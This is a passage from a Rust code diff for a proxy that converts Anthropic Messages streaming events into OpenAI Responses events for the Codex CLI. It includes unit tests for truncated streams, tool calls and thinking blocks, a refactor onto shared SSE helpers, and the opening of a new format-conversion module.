failed; + } + } + + if !stream_failed && !state.completed { + if state.stop_reason.is_some() { + // message_delta (stop_reason + final usage) arrived but the stream ended + // before message_stop; the turn is semantically complete, finalize normally. + for event in state.finalize() { + yield Ok(event); + } + } else if state.has_substantive_output() { + // Upstream truncated mid-stream (e.g. a proxy closed the connection without + // an I/O error) after emitting partial output. Report it as incomplete so + // Codex does not accept the truncated output as a normal completion. + state.stop_reason = Some("max_tokens".to_string()); + for event in state.finalize() { + yield Ok(event); + } + } else { + // Stream ended before any terminal signal or output: surface a failure. + if let Some(event) = state.failed_event( + "Upstream Anthropic stream ended before message_stop".to_string(), + Some("stream_truncated".to_string()), + ) { + yield Ok(event); + } + } + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use futures::stream; + + async fn run(input: &str) -> String { + let upstream = stream::iter(vec![Ok::<_, std::io::Error>(Bytes::from( + input.as_bytes().to_vec(), + ))]); + let converted = create_responses_sse_stream_from_anthropic(upstream); + let chunks: Vec<_> = converted.collect().await; + chunks + .into_iter() + .map(|c| String::from_utf8_lossy(c.unwrap().as_ref()).to_string()) + .collect::() + } + + async fn run_with_context(input: &str, context: CodexToolContext) -> String { + let upstream = stream::iter(vec![Ok::<_, std::io::Error>(Bytes::from( + input.as_bytes().to_vec(), + ))]); + create_responses_sse_stream_from_anthropic_with_context(upstream, context) + .collect::>() + .await + .into_iter() + .map(|chunk| String::from_utf8_lossy(chunk.unwrap().as_ref()).to_string()) + .collect() + } + + fn render_message_events(body: &Value) -> String { + responses_sse_events_from_anthropic_message(body, CodexToolContext::default()) + .into_iter() + .map(|chunk| String::from_utf8_lossy(&chunk).to_string()) + .collect() + } + + #[test] + fn test_json_error_envelope_preserves_upstream_error() { + let merged = render_message_events(&json!({ + "type": "error", + "error": { "type": "authentication_error", "message": "bad key" } + })); + assert!(merged.contains("event: response.failed")); + assert!(merged.contains("authentication_error")); + assert!(merged.contains("bad key")); + assert!(!merged.contains("stream_truncated")); + } + + #[test] + fn test_json_message_becomes_complete_responses_stream() { + let merged = render_message_events(&json!({ + "id": "msg_json", + "type": "message", + "role": "assistant", + "model": "claude", + "content": [{ "type": "text", "text": "Hello" }], + "stop_reason": "end_turn", + "usage": { "input_tokens": 4, "output_tokens": 2 } + })); + assert!(merged.contains("event: response.created")); + assert!(merged.contains("event: response.output_text.delta")); + assert!(merged.contains("\"delta\":\"Hello\"")); + assert!(merged.contains("event: response.completed")); + assert!(merged.contains("\"status\":\"completed\"")); + assert!(!merged.contains("event: response.failed")); + } + + #[tokio::test] + async fn test_raw_json_error_body_is_not_reported_as_truncated_sse() { + let merged = run(concat!( + "{\n", + " \"type\": \"error\",\n\n", + " \"error\": {\"type\":\"overloaded_error\",\"message\":\"busy\"}\n", + "}" + )) + .await; + assert!(merged.contains("event: response.failed")); + assert!(merged.contains("overloaded_error")); + assert!(merged.contains("busy")); + assert!(!merged.contains("stream_truncated")); + } + + #[tokio::test] + async fn test_raw_json_message_body_becomes_responses_stream() { + let merged = run( + r#"{"id":"msg_json","type":"message","role":"assistant","model":"claude","content":[{"type":"text","text":"Hello"}],"stop_reason":"end_turn","usage":{"input_tokens":4,"output_tokens":2}}"#, + ) + .await; + assert!(merged.contains("event: response.output_text.delta")); + assert!(merged.contains("\"delta\":\"Hello\"")); + assert!(merged.contains("event: response.completed")); + assert!(!merged.contains("stream_truncated")); + } + + #[tokio::test] + async fn test_text_stream() { + let input = concat!( + "event: message_start\n", + "data: {\"type\":\"message_start\",\"message\":{\"id\":\"msg_1\",\"model\":\"claude\",\"usage\":{\"input_tokens\":12,\"output_tokens\":0}}}\n\n", + "event: content_block_start\n", + "data: {\"type\":\"content_block_start\",\"index\":0,\"content_block\":{\"type\":\"text\",\"text\":\"\"}}\n\n", + "event: content_block_delta\n", + "data: {\"type\":\"content_block_delta\",\"index\":0,\"delta\":{\"type\":\"text_delta\",\"text\":\"Hello\"}}\n\n", + "event: content_block_stop\n", + "data: {\"type\":\"content_block_stop\",\"index\":0}\n\n", + "event: message_delta\n", + "data: {\"type\":\"message_delta\",\"delta\":{\"stop_reason\":\"end_turn\"},\"usage\":{\"output_tokens\":3}}\n\n", + "event: message_stop\n", + "data: {\"type\":\"message_stop\"}\n\n" + ); + let merged = run(input).await; + assert!(merged.contains("event: response.created")); + assert!(merged.contains("\"id\":\"resp_msg_1\"")); + assert!(merged.contains("\"model\":\"claude\"")); + assert!(merged.contains("event: response.output_text.delta")); + assert!(merged.contains("\"delta\":\"Hello\"")); + assert!(merged.contains("event: response.completed")); + assert!(merged.contains("\"status\":\"completed\"")); + assert!(merged.contains("\"input_tokens\":12")); + assert!(merged.contains("\"output_tokens\":3")); + } + + #[tokio::test] + async fn test_truncated_stream_with_output_reports_incomplete() { + // Upstream closes after partial text but before message_delta/message_stop. + // The partial output must be reported as incomplete, not a normal completion. + let input = concat!( + "event: message_start\n", + "data: {\"type\":\"message_start\",\"message\":{\"id\":\"msg_t1\",\"model\":\"claude\",\"usage\":{\"input_tokens\":4}}}\n\n", + "event: content_block_start\n", + "data: {\"type\":\"content_block_start\",\"index\":0,\"content_block\":{\"type\":\"text\",\"text\":\"\"}}\n\n", + "event: content_block_delta\n", + "data: {\"type\":\"content_block_delta\",\"index\":0,\"delta\":{\"type\":\"text_delta\",\"text\":\"partial\"}}\n\n" + ); + let merged = run(input).await; + assert!(merged.contains("\"delta\":\"partial\"")); + assert!(merged.contains("event: response.completed")); + // The top-level response is incomplete (message output items keep their own + // "completed" status, but the response status must not be "completed"). + assert!(merged.contains("\"status\":\"incomplete\"")); + assert!(merged.contains("\"reason\":\"max_output_tokens\"")); + } + + #[tokio::test] + async fn test_truncated_stream_without_output_reports_failed() { + // Upstream closes before producing any output or terminal signal: report failed. + let input = concat!( + "event: message_start\n", + "data: {\"type\":\"message_start\",\"message\":{\"id\":\"msg_t2\",\"model\":\"claude\"}}\n\n" + ); + let merged = run(input).await; + assert!(merged.contains("event: response.failed")); + assert!(merged.contains("stream_truncated")); + assert!(!merged.contains("event: response.completed")); + } + + #[tokio::test] + async fn test_stop_reason_without_message_stop_completes() { + // message_delta carried the stop_reason and final usage, but the stream ended + // before message_stop; the turn is complete and should finalize normally. + let input = concat!( + "event: message_start\n", + "data: {\"type\":\"message_start\",\"message\":{\"id\":\"msg_t3\",\"model\":\"claude\",\"usage\":{\"input_tokens\":4}}}\n\n", + "event: content_block_start\n", + "data: {\"type\":\"content_block_start\",\"index\":0,\"content_block\":{\"type\":\"text\",\"text\":\"\"}}\n\n", + "event: content_block_delta\n", + "data: {\"type\":\"content_block_delta\",\"index\":0,\"delta\":{\"type\":\"text_delta\",\"text\":\"done\"}}\n\n", + "event: content_block_stop\n", + "data: {\"type\":\"content_block_stop\",\"index\":0}\n\n", + "event: message_delta\n", + "data: {\"type\":\"message_delta\",\"delta\":{\"stop_reason\":\"end_turn\"},\"usage\":{\"output_tokens\":2}}\n\n" + ); + let merged = run(input).await; + assert!(merged.contains("event: response.completed")); + assert!(merged.contains("\"status\":\"completed\"")); + assert!(!merged.contains("event: response.failed")); + } + + #[tokio::test] + async fn test_tool_use_stream() { + let input = concat!( + "event: message_start\n", + "data: {\"type\":\"message_start\",\"message\":{\"id\":\"msg_2\",\"model\":\"claude\",\"usage\":{\"input_tokens\":5}}}\n\n", + "event: content_block_start\n", + "data: {\"type\":\"content_block_start\",\"index\":0,\"content_block\":{\"type\":\"tool_use\",\"id\":\"toolu_1\",\"name\":\"get_weather\"}}\n\n", + "event: content_block_delta\n", + "data: {\"type\":\"content_block_delta\",\"index\":0,\"delta\":{\"type\":\"input_json_delta\",\"partial_json\":\"{\\\"city\\\":\\\"Tokyo\\\"}\"}}\n\n", + "event: content_block_stop\n", + "data: {\"type\":\"content_block_stop\",\"index\":0}\n\n", + "event: message_delta\n", + "data: {\"type\":\"message_delta\",\"delta\":{\"stop_reason\":\"tool_use\"},\"usage\":{\"output_tokens\":7}}\n\n", + "event: message_stop\n", + "data: {\"type\":\"message_stop\"}\n\n" + ); + let merged = run(input).await; + assert!(merged.contains("\"type\":\"function_call\"")); + assert!(merged.contains("\"call_id\":\"toolu_1\"")); + assert!(merged.contains("\"name\":\"get_weather\"")); + assert!(merged.contains("event: response.function_call_arguments.delta")); + assert!(merged.contains("event: response.function_call_arguments.done")); + assert!(merged.contains("\"status\":\"completed\"")); + } + + #[tokio::test] + async fn test_tool_use_input_only_in_start_event() { + // Some gateways carry the full tool input on content_block_start and emit no + // input_json_delta. The arguments must still be populated (previously empty) — + // matching the non-streaming aggregator's behavior. + let input = concat!( + "event: message_start\n", + "data: {\"type\":\"message_start\",\"message\":{\"id\":\"msg_si\",\"model\":\"claude\",\"usage\":{\"input_tokens\":5}}}\n\n", + "event: content_block_start\n", + "data: {\"type\":\"content_block_start\",\"index\":0,\"content_block\":{\"type\":\"tool_use\",\"id\":\"toolu_i\",\"name\":\"get_weather\",\"input\":{\"city\":\"Tokyo\"}}}\n\n", + "event: content_block_stop\n", + "data: {\"type\":\"content_block_stop\",\"index\":0}\n\n", + "event: message_delta\n", + "data: {\"type\":\"message_delta\",\"delta\":{\"stop_reason\":\"tool_use\"},\"usage\":{\"output_tokens\":3}}\n\n", + "event: message_stop\n", + "data: {\"type\":\"message_stop\"}\n\n" + ); + let merged = run(input).await; + assert!(merged.contains("\"name\":\"get_weather\"")); + assert!(merged.contains("event: response.function_call_arguments.done")); + // The tool arguments came from the start event, not from any delta. + assert!(merged.contains("Tokyo")); + assert!(merged.contains("\"status\":\"completed\"")); + } + + #[tokio::test] + async fn test_thinking_stream() { + let input = concat!( + "event: message_start\n", + "data: {\"type\":\"message_start\",\"message\":{\"id\":\"msg_3\",\"model\":\"claude\"}}\n\n", + "event: content_block_start\n", + "data: {\"type\":\"content_block_start\",\"index\":0,\"content_block\":{\"type\":\"thinking\"}}\n\n", + "event: content_block_delta\n", + "data: {\"type\":\"content_block_delta\",\"index\":0,\"delta\":{\"type\":\"thinking_delta\",\"thinking\":\"hmm\"}}\n\n", + "event: content_block_stop\n", + "data: {\"type\":\"content_block_stop\",\"index\":0}\n\n", + "event: message_delta\n", + "data: {\"type\":\"message_delta\",\"delta\":{\"stop_reason\":\"end_turn\"}}\n\n", + "event: message_stop\n", + "data: {\"type\":\"message_stop\"}\n\n" + ); + let merged = run(input).await; + assert!(merged.contains("\"type\":\"reasoning\"")); + assert!(merged.contains("event: response.reasoning_summary_text.delta")); + assert!(merged.contains("\"delta\":\"hmm\"")); + assert!(merged.contains(ANTHROPIC_THINKING_ENCRYPTED_PREFIX)); + } + + #[tokio::test] + async fn test_thinking_signature_is_preserved() { + let input = concat!( + "event: message_start\n", + "data: {\"type\":\"message_start\",\"message\":{\"id\":\"msg_sig\",\"model\":\"claude\"}}\n\n", + "event: content_block_start\n", + "data: {\"type\":\"content_block_start\",\"index\":0,\"content_block\":{\"type\":\"thinking\",\"thinking\":\"\"}}\n\n", + "event: content_block_delta\n", + "data: {\"type\":\"content_block_delta\",\"index\":0,\"delta\":{\"type\":\"thinking_delta\",\"thinking\":\"hmm\"}}\n\n", + "event: content_block_delta\n", + "data: {\"type\":\"content_block_delta\",\"index\":0,\"delta\":{\"type\":\"signature_delta\",\"signature\":\"sig_abc\"}}\n\n", + "event: content_block_stop\n", + "data: {\"type\":\"content_block_stop\",\"index\":0}\n\n", + "event: message_stop\n", + "data: {\"type\":\"message_stop\"}\n\n" + ); + let merged = run(input).await; + let encoded_start = merged.find(ANTHROPIC_THINKING_ENCRYPTED_PREFIX).unwrap(); + let encoded = merged[encoded_start..].split('"').next().unwrap(); + let block = decode_anthropic_thinking_block(encoded).unwrap(); + assert_eq!(block["signature"], "sig_abc"); + assert_eq!(block["thinking"], "hmm"); + } + + #[tokio::test] + async fn test_max_tokens_incomplete() { + let input = concat!( + "event: message_start\n", + "data: {\"type\":\"message_start\",\"message\":{\"id\":\"msg_4\",\"model\":\"claude\"}}\n\n", + "event: content_block_start\n", + "data: {\"type\":\"content_block_start\",\"index\":0,\"content_block\":{\"type\":\"text\",\"text\":\"\"}}\n\n", + "event: content_block_delta\n", + "data: {\"type\":\"content_block_delta\",\"index\":0,\"delta\":{\"type\":\"text_delta\",\"text\":\"partial\"}}\n\n", + "event: content_block_stop\n", + "data: {\"type\":\"content_block_stop\",\"index\":0}\n\n", + "event: message_delta\n", + "data: {\"type\":\"message_delta\",\"delta\":{\"stop_reason\":\"max_tokens\"}}\n\n", + "event: message_stop\n", + "data: {\"type\":\"message_stop\"}\n\n" + ); + let merged = run(input).await; + assert!(merged.contains("\"status\":\"incomplete\"")); + assert!(merged.contains("\"reason\":\"max_output_tokens\"")); + } + + #[tokio::test] + async fn test_read_tool_drops_empty_pages() { + let input = concat!( + "event: message_start\n", + "data: {\"type\":\"message_start\",\"message\":{\"id\":\"msg_5\",\"model\":\"claude\"}}\n\n", + "event: content_block_start\n", + "data: {\"type\":\"content_block_start\",\"index\":0,\"content_block\":{\"type\":\"tool_use\",\"id\":\"toolu_r\",\"name\":\"Read\"}}\n\n", + "event: content_block_delta\n", + "data: {\"type\":\"content_block_delta\",\"index\":0,\"delta\":{\"type\":\"input_json_delta\",\"partial_json\":\"{\\\"file_path\\\":\\\"/tmp/x\\\",\\\"pages\\\":\\\"\\\"}\"}}\n\n", + "event: content_block_stop\n", + "data: {\"type\":\"content_block_stop\",\"index\":0}\n\n", + "event: message_delta\n", + "data: {\"type\":\"message_delta\",\"delta\":{\"stop_reason\":\"tool_use\"}}\n\n", + "event: message_stop\n", + "data: {\"type\":\"message_stop\"}\n\n" + ); + let merged = run(input).await; + assert!(merged.contains("/tmp/x")); + assert!(!merged.contains("pages")); + } + + #[tokio::test] + async fn test_empty_read_input_finishes_as_empty_object() { + let input = concat!( + "event: message_start\n", + "data: {\"type\":\"message_start\",\"message\":{\"id\":\"msg_read\",\"model\":\"claude\"}}\n\n", + "event: content_block_start\n", + "data: {\"type\":\"content_block_start\",\"index\":0,\"content_block\":{\"type\":\"tool_use\",\"id\":\"call_r\",\"name\":\"Read\",\"input\":{}}}\n\n", + "event: content_block_stop\n", + "data: {\"type\":\"content_block_stop\",\"index\":0}\n\n", + "event: message_stop\n", + "data: {\"type\":\"message_stop\"}\n\n" + ); + let merged = run(input).await; + assert!(merged.contains("\"arguments\":\"{}\"")); + } + + #[tokio::test] + async fn test_namespace_tool_stream_restores_namespace() { + let context = super::super::transform_codex_chat::build_codex_tool_context_from_request( + &json!({ + "tools": [{ + "type": "namespace", + "name": "mcp_files", + "tools": [{"type": "function", "name": "read", "parameters": {"type": "object"}}] + }] + }), + ); + let input = concat!( + "event: message_start\n", + "data: {\"type\":\"message_start\",\"message\":{\"id\":\"msg_ns\",\"model\":\"claude\"}}\n\n", + "event: content_block_start\n", + "data: {\"type\":\"content_block_start\",\"index\":0,\"content_block\":{\"type\":\"tool_use\",\"id\":\"call_1\",\"name\":\"mcp_files__read\",\"input\":{}}}\n\n", + "event: content_block_stop\n", + "data: {\"type\":\"content_block_stop\",\"index\":0}\n\n", + "event: message_stop\n", + "data: {\"type\":\"message_stop\"}\n\n" + ); + let merged = run_with_context(input, context).await; + assert!(merged.contains("\"namespace\":\"mcp_files\"")); + assert!(merged.contains("\"name\":\"read\"")); + } + + #[tokio::test] + async fn test_final_event_without_blank_line_is_processed() { + let input = concat!( + "event: message_start\n", + "data: {\"type\":\"message_start\",\"message\":{\"id\":\"msg_tail\"}}\n\n", + "event: content_block_start\n", + "data: {\"type\":\"content_block_start\",\"index\":0,\"content_block\":{\"type\":\"text\",\"text\":\"\"}}\n\n", + "event: content_block_delta\n", + "data: {\"type\":\"content_block_delta\",\"index\":0,\"delta\":{\"type\":\"text_delta\",\"text\":\"tail\"}}" + ); + let merged = run(input).await; + assert!(merged.contains("\"delta\":\"tail\"")); + assert!(merged.contains("\"status\":\"incomplete\"")); + } + + #[tokio::test] + async fn test_error_after_message_stop_does_not_emit_second_terminal_event() { + let input = concat!( + "event: message_start\n", + "data: {\"type\":\"message_start\",\"message\":{\"id\":\"msg_terminal\"}}\n\n", + "event: message_stop\n", + "data: {\"type\":\"message_stop\"}\n\n", + "event: error\n", + "data: {\"type\":\"error\",\"error\":{\"message\":\"late\"}}\n\n" + ); + let merged = run(input).await; + assert_eq!(merged.matches("event: response.completed").count(), 1); + assert_eq!(merged.matches("event: response.failed").count(), 0); + } + + #[tokio::test] + async fn test_error_event_becomes_failed() { + let input = concat!( + "event: message_start\n", + "data: {\"type\":\"message_start\",\"message\":{\"id\":\"msg_6\",\"model\":\"claude\"}}\n\n", + "event: error\n", + "data: {\"type\":\"error\",\"error\":{\"type\":\"overloaded_error\",\"message\":\"boom\"}}\n\n" + ); + let merged = run(input).await; + assert!(merged.contains("event: response.failed")); + assert!(merged.contains("boom")); + } +} diff --git a/src-tauri/src/proxy/providers/streaming_codex_chat.rs b/src-tauri/src/proxy/providers/streaming_codex_chat.rs index a5326ab13..66f456f57 100644 --- a/src-tauri/src/proxy/providers/streaming_codex_chat.rs +++ b/src-tauri/src/proxy/providers/streaming_codex_chat.rs @@ -1,5 +1,6 @@ //! OpenAI Chat Completions SSE → OpenAI Responses SSE conversion. +use super::codex_responses_sse as sse; use super::{ codex_chat_common::{ extract_reasoning_field_text, split_leading_think_block, strip_leading_think_open_tag, @@ -270,20 +271,8 @@ impl ChatToResponsesState { let response = self.base_response("in_progress", Vec::new()); vec![ - sse_event( - "response.created", - json!({ - "type": "response.created", - "response": response - }), - ), - sse_event( - "response.in_progress", - json!({ - "type": "response.in_progress", - "response": self.base_response("in_progress", Vec::new()) - }), - ), + sse::response_created(&response), + sse::response_in_progress(&response), ] } @@ -297,45 +286,16 @@ impl ChatToResponsesState { self.reasoning.item_id = item_id.clone(); self.reasoning.added = true; - events.push(sse_event( - "response.output_item.added", - json!({ - "type": "response.output_item.added", - "output_index": output_index, - "item": { - "id": item_id, - "type": "reasoning", - "status": "in_progress", - "summary": [] - } - }), - )); - events.push(sse_event( - "response.reasoning_summary_part.added", - json!({ - "type": "response.reasoning_summary_part.added", - "item_id": self.reasoning.item_id, - "output_index": output_index, - "summary_index": 0, - "part": { - "type": "summary_text", - "text": "" - } - }), - )); + events.push(sse::reasoning_item_added(output_index, &item_id)); + events.push(sse::reasoning_summary_part_added(output_index, &item_id)); } self.reasoning.text.push_str(delta); let output_index = self.reasoning.output_index.unwrap_or(0); - events.push(sse_event( - "response.reasoning_summary_text.delta", - json!({ - "type": "response.reasoning_summary_text.delta", - "item_id": self.reasoning.item_id, - "output_index": output_index, - "summary_index": 0, - "delta": delta - }), + events.push(sse::reasoning_summary_text_delta( + output_index, + &self.reasoning.item_id, + delta, )); events @@ -351,47 +311,16 @@ impl ChatToResponsesState { self.text.item_id = item_id.clone(); self.text.added = true; - events.push(sse_event( - "response.output_item.added", - json!({ - "type": "response.output_item.added", - "output_index": output_index, - "item": { - "id": item_id, - "type": "message", - "status": "in_progress", - "role": "assistant", - "content": [] - } - }), - )); - events.push(sse_event( - "response.content_part.added", - json!({ - "type": "response.content_part.added", - "item_id": self.text.item_id, - "output_index": output_index, - "content_index": 0, - "part": { - "type": "output_text", - "text": "", - "annotations": [] - } - }), - )); + events.push(sse::message_item_added(output_index, &item_id)); + events.push(sse::message_content_part_added(output_index, &item_id)); } self.text.text.push_str(delta); let output_index = self.text.output_index.unwrap_or(0); - events.push(sse_event( - "response.output_text.delta", - json!({ - "type": "response.output_text.delta", - "item_id": self.text.item_id, - "output_index": output_index, - "content_index": 0, - "delta": delta - }), + events.push(sse::output_text_delta( + output_index, + &self.text.item_id, + delta, )); events @@ -485,36 +414,21 @@ impl ChatToResponsesState { &self.tool_context, ); - events.push(sse_event( - "response.output_item.added", - json!({ - "type": "response.output_item.added", - "output_index": assigned, - "item": item - }), - )); + events.push(sse::output_item_added(assigned, &item)); if !pending_arguments.is_empty() && !is_custom_tool { - events.push(sse_event( - "response.function_call_arguments.delta", - json!({ - "type": "response.function_call_arguments.delta", - "item_id": state.item_id, - "output_index": assigned, - "delta": pending_arguments - }), + events.push(sse::function_call_arguments_delta( + assigned, + &state.item_id, + &pending_arguments, )); } } else if !args_delta.is_empty() && !is_custom_tool { if let Some(output_index) = output_index { - events.push(sse_event( - "response.function_call_arguments.delta", - json!({ - "type": "response.function_call_arguments.delta", - "item_id": item_id, - "output_index": output_index, - "delta": args_delta - }), + events.push(sse::function_call_arguments_delta( + output_index, + &item_id, + &args_delta, )); } } @@ -567,13 +481,7 @@ impl ChatToResponsesState { response["incomplete_details"] = json!({ "reason": "max_output_tokens" }); } - events.push(sse_event( - "response.completed", - json!({ - "type": "response.completed", - "response": response - }), - )); + events.push(sse::response_completed(&response)); self.completed = true; events } @@ -586,50 +494,10 @@ impl ChatToResponsesState { let output_index = self.reasoning.output_index.unwrap_or(0); let item_id = self.reasoning.item_id.clone(); let text = self.reasoning.text.clone(); - let item = json!({ - "id": item_id, - "type": "reasoning", - "summary": [{ - "type": "summary_text", - "text": text - }] - }); - self.output_items.push((output_index, item.clone())); + let (events, item) = sse::reasoning_close(output_index, &item_id, &text); + self.output_items.push((output_index, item)); self.reasoning.done = true; - - vec![ - sse_event( - "response.reasoning_summary_text.done", - json!({ - "type": "response.reasoning_summary_text.done", - "item_id": self.reasoning.item_id, - "output_index": output_index, - "summary_index": 0, - "text": self.reasoning.text - }), - ), - sse_event( - "response.reasoning_summary_part.done", - json!({ - "type": "response.reasoning_summary_part.done", - "item_id": self.reasoning.item_id, - "output_index": output_index, - "summary_index": 0, - "part": { - "type": "summary_text", - "text": self.reasoning.text - } - }), - ), - sse_event( - "response.output_item.done", - json!({ - "type": "response.output_item.done", - "output_index": output_index, - "item": item - }), - ), - ] + events } fn finalize_text(&mut self) -> Vec { @@ -638,54 +506,12 @@ impl ChatToResponsesState { } let output_index = self.text.output_index.unwrap_or(0); - let item = json!({ - "id": self.text.item_id, - "type": "message", - "status": "completed", - "role": "assistant", - "content": [{ - "type": "output_text", - "text": self.text.text, - "annotations": [] - }] - }); - self.output_items.push((output_index, item.clone())); + let item_id = self.text.item_id.clone(); + let text = self.text.text.clone(); + let (events, item) = sse::message_close(output_index, &item_id, &text); + self.output_items.push((output_index, item)); self.text.done = true; - - vec![ - sse_event( - "response.output_text.done", - json!({ - "type": "response.output_text.done", - "item_id": self.text.item_id, - "output_index": output_index, - "content_index": 0, - "text": self.text.text - }), - ), - sse_event( - "response.content_part.done", - json!({ - "type": "response.content_part.done", - "item_id": self.text.item_id, - "output_index": output_index, - "content_index": 0, - "part": { - "type": "output_text", - "text": self.text.text, - "annotations": [] - } - }), - ), - sse_event( - "response.output_item.done", - json!({ - "type": "response.output_item.done", - "output_index": output_index, - "item": item - }), - ), - ] + events } fn finalize_tools(&mut self) -> Vec { @@ -742,14 +568,7 @@ impl ChatToResponsesState { Some(&state.reasoning_content), &self.tool_context, ); - add_event = Some(sse_event( - "response.output_item.added", - json!({ - "type": "response.output_item.added", - "output_index": assigned, - "item": item - }), - )); + add_event = Some(sse::output_item_added(assigned, &item)); } if let Some(event) = add_event { @@ -777,44 +596,25 @@ impl ChatToResponsesState { if is_custom_tool { let input = custom_tool_input_from_chat_arguments(&arguments); if !input.is_empty() { - events.push(sse_event( - "response.custom_tool_call_input.delta", - json!({ - "type": "response.custom_tool_call_input.delta", - "item_id": state.item_id, - "output_index": output_index, - "delta": input.clone() - }), + events.push(sse::custom_tool_call_input_delta( + output_index, + &state.item_id, + &input, )); } - events.push(sse_event( - "response.custom_tool_call_input.done", - json!({ - "type": "response.custom_tool_call_input.done", - "item_id": state.item_id, - "output_index": output_index, - "input": input - }), + events.push(sse::custom_tool_call_input_done( + output_index, + &state.item_id, + &input, )); } else { - events.push(sse_event( - "response.function_call_arguments.done", - json!({ - "type": "response.function_call_arguments.done", - "item_id": state.item_id, - "output_index": output_index, - "arguments": arguments - }), + events.push(sse::function_call_arguments_done( + output_index, + &state.item_id, + &arguments, )); } - events.push(sse_event( - "response.output_item.done", - json!({ - "type": "response.output_item.done", - "output_index": output_index, - "item": item - }), - )); + events.push(sse::output_item_done(output_index, &item)); } events @@ -864,13 +664,7 @@ impl ChatToResponsesState { let mut response = self.base_response("failed", self.completed_output_items()); response["error"] = error; - sse_event( - "response.failed", - json!({ - "type": "response.failed", - "response": response - }), - ) + sse::response_failed(&response) } } @@ -1030,13 +824,6 @@ fn extract_chat_sse_error(value: &Value) -> (String, Option) { (message, error_type) } -fn sse_event(event: &str, data: Value) -> Bytes { - Bytes::from(format!( - "event: {event}\ndata: {}\n\n", - serde_json::to_string(&data).unwrap_or_default() - )) -} - #[cfg(test)] mod tests { use super::*; diff --git a/src-tauri/src/proxy/providers/transform_codex_anthropic.rs b/src-tauri/src/proxy/providers/transform_codex_anthropic.rs new file mode 100644 index 000000000..4fdac6b79 --- /dev/null +++ b/src-tauri/src/proxy/providers/transform_codex_anthropic.rs @@ -0,0 +1,2443 @@ +//! OpenAI Responses ↔ Anthropic Messages format conversion module (used when the Codex upstream is an Anthropic gateway) +//! +//! Scenario: The Codex CLI only speaks the OpenAI Responses protocol, while the +//! upstream AI gateway only offers the native Anthropic Messages protocol +//! (`/v1/messages`). This module converts the Responses request sent by Codex +//! into an Anthropic request, then converts the Anthropic response back into a +//! Responses response. +//! +//! The direction is exactly the mirror of `transform_responses.rs`: +//! - `transform_responses.rs`: Anthropic request → Responses request, Responses response → Anthropic response +//! - this module: Responses request → Anthropic request, Anthropic response → Responses response + +use super::transform_codex_chat::{ + build_codex_tool_context_from_request, response_tool_call_item_from_chat_name, + response_tool_call_item_id_from_chat_name, CodexToolContext, +}; +use super::transform_responses::sanitize_anthropic_tool_use_input; +use crate::proxy::error::ProxyError; +use crate::proxy::json_canonical::canonical_json_string; +use crate::proxy::sse::{strip_sse_field, take_sse_block}; +use base64::{engine::general_purpose::URL_SAFE_NO_PAD, Engine as _}; +use serde_json::{json, Value}; +use std::collections::{BTreeMap, HashSet}; + +pub(crate) const ANTHROPIC_THINKING_ENCRYPTED_PREFIX: &str = "ccswitch-anthropic-thinking-v1:"; +const TOOL_SEARCH_PROXY_NAME: &str = "tool_search"; + +/// Maps Codex's reasoning.effort to the token budget for Anthropic thinking. +/// +/// Returning `None` indicates an unrecognized effort value—in that case extended +/// thinking should not be enabled (to avoid accidentally swallowing +/// temperature/top_p), keeping normal sampling. +pub(crate) fn effort_to_thinking_budget(effort: &str) -> Option { + match effort.trim().to_ascii_lowercase().as_str() { + "minimal" | "low" => Some(2048), + "medium" => Some(8192), + "high" => Some(16384), + "xhigh" | "max" => Some(24576), + _ => None, + } +} + +fn codex_effort_to_anthropic(effort: &str) -> Option<&'static str> { + match effort.trim().to_ascii_lowercase().as_str() { + "minimal" | "low" => Some("low"), + "medium" => Some("medium"), + "high" => Some("high"), + "xhigh" | "max" => Some("max"), + _ => None, + } +} + +fn reasoning_explicitly_disabled(effort: Option<&str>) -> bool { + matches!( + effort + .map(str::trim) + .map(str::to_ascii_lowercase) + .as_deref(), + Some("none" | "off" | "disabled") + ) +} + +/// Preserve an Anthropic signed thinking/redacted-thinking block inside the opaque +/// Responses `reasoning.encrypted_content` field so Codex replays it on the next +/// tool-result request. The prefix keeps unrelated providers' ciphertext isolated. +pub(crate) fn encode_anthropic_thinking_block(block: &Value) -> Option { + match block.get("type").and_then(|value| value.as_str()) { + Some("thinking" | "redacted_thinking") => {} + _ => return None, + } + let bytes = serde_json::to_vec(block).ok()?; + Some(format!( + "{ANTHROPIC_THINKING_ENCRYPTED_PREFIX}{}", + URL_SAFE_NO_PAD.encode(bytes) + )) +} + +pub(crate) fn decode_anthropic_thinking_block(encrypted_content: &str) -> Option { + let encoded = encrypted_content.strip_prefix(ANTHROPIC_THINKING_ENCRYPTED_PREFIX)?; + let bytes = URL_SAFE_NO_PAD.decode(encoded).ok()?; + let block: Value = serde_json::from_slice(&bytes).ok()?; + match block.get("type").and_then(|value| value.as_str()) { + Some("thinking" | "redacted_thinking") => Some(block), + _ => None, + } +} + +pub(crate) fn responses_reasoning_item_from_anthropic_block( + item_id: &str, + block: &Value, +) -> Option { + let encrypted_content = encode_anthropic_thinking_block(block)?; + let summary = block + .get("thinking") + .and_then(|value| value.as_str()) + .filter(|text| !text.is_empty()) + .map(|text| vec![json!({ "type": "summary_text", "text": text })]) + .unwrap_or_default(); + Some(json!({ + "id": item_id, + "type": "reasoning", + "summary": summary, + "encrypted_content": encrypted_content + })) +} + +/// Anthropic's stop_reason → Responses' (status, incomplete_details.reason) +pub(crate) fn map_anthropic_stop_reason_to_status( + stop_reason: Option<&str>, +) -> (&'static str, Option<&'static str>) { + match stop_reason { + Some("max_tokens") => ("incomplete", Some("max_output_tokens")), + // Safety refusal: report as incomplete to avoid Codex treating it as a normally-completed empty reply. + Some("refusal") => ("incomplete", Some("content_filter")), + Some("model_context_window_exceeded") => ("incomplete", Some("max_output_tokens")), + // pause_turn is unreachable on this path (Codex requests do not declare Anthropic server-side tools); + // if it does occur, log a warning and treat it as completed. + Some("pause_turn") => { + log::warn!("[Codex] Received unexpected Anthropic stop_reason=pause_turn, treating it as completed"); + ("completed", None) + } + _ => ("completed", None), + } +} + +/// Builds Responses usage from Anthropic usage. +/// +/// Anthropic's `input_tokens` is the "cache-excluded" fresh input; OpenAI/Responses' +/// `input_tokens` includes cache hits. To keep downstream metering correct, this +/// adds them (symmetric to the subtraction done for the Claude side in +/// `transform_responses`): +/// input_tokens = input + cache_read +/// input_tokens_details.cached_tokens = cache_read +/// +/// Note: **do not** fold `cache_creation` into `input_tokens`. The Codex billing +/// calculator (usage/calculator.rs) only subtracts `cache_read` for codex +/// (`billable = input - cache_read`), and separately lists cache-creation cost via +/// `cache_creation_input_tokens`; if creation were also added into +/// `input_tokens`, it would be double-charged at both the input price and the 